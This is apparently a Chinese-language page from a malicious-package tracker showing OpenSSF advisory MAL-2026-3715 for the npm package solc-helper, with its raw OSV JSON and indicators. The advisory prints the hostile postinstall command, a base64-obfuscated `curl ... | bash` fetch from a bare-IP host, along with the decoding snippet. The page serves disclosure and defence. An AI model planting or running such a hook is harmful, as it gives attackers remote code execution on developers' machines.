目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

solc-helper

MAL-2026-3715
2026-05-15 07:39:09
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in solc-helper (npm)

安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
—
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmsolc-helper1.0.0
npmsolc-helper2.0.0
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-05-15T07:39:09Z","published":"2026-05-13T12:00:42Z","schema_version":"1.7.4","id":"MAL-2026-3715","summary":"Malicious code in solc-helper (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (2016baa4fe29c296464b8381f88440457a113d79e2773d2252eb609a15ea2e03)\npackage.json's postinstall lifecycle script runs `node -e` to base64-decode a hidden URL and pipe its contents to bash: `curl -s http://8.217.75.147:3000/payload | bash`. The URL is obfuscated via `Buffer.from('aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=','base64').toString()` which decodes to `http://8.217.75.147:3000/payload`. Every `npm install solc-helper` triggers this unattended download-and-execute of attacker-controlled shell code from a bare IP over plaintext HTTP, with no integrity check. Multiple independent block signals stack: bare-IP C2, plaintext HTTP, base64-obfuscated URL inside a lifecycle hook, `curl | bash` pattern, and no legitimate functionality advertised by the package to justify any network activity.\n\n## Source: ossf-package-analysis (ddd32c477334047130051f655031a49e899c68da7dbeff001a98efb7e25afa2a)\nThe OpenSSF Package Analysis project identified 'solc-helper' @ 2.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"ecosystem":"npm","name":"solc-helper"},"versions":["2.0.0","1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"domains":["http://8.217.75.147:3000"],"evidence_files":[{"path":"package.json","sha256":"e98768980e89ef8b154822f462727527155607e496dc678e35f1a19b149b4607","tlsh":"f8e0ab109b106ab318c09e930e5b86cb6073881b01187c58a34be02c039c6bb15fb91e"}],"package_integrity":[{"filename":"solc-helper-1.0.0.tgz","hashes":{"sha1":"df7378697f436229fa269a3cc53fbdbb60d3352d","sha512_sri":"sha512-6K4aF0XRJw+4oqjkvyVgK/IJbV5JufKivq5z++nBfIKeSgCFUr4PtOljY3Qh4UF6EzUOASO/RTNMwi+Emq6e7g=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/solc-helper/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["actran@amazon.com"]},{"name":"OpenSSF: Package Analysis","type":"FINDER","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"]}],"database_specific":{"malicious-packages-origins":[{"source":"ossf-package-analysis","sha256":"ddd32c477334047130051f655031a49e899c68da7dbeff001a98efb7e25afa2a","import_time":"2026-05-13T21:58:24.49715736Z","modified_time":"2026-05-13T12:00:42Z","versions":["2.0.0"]},{"source":"amazon-inspector","sha256":"2016baa4fe29c296464b8381f88440457a113d79e2773d2252eb609a15ea2e03","import_time":"2026-05-15T07:37:17.054641889Z","id":"IN-MAL-2026-002695","modified_time":"2026-05-14T19:25:10Z","versions":["1.0.0"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0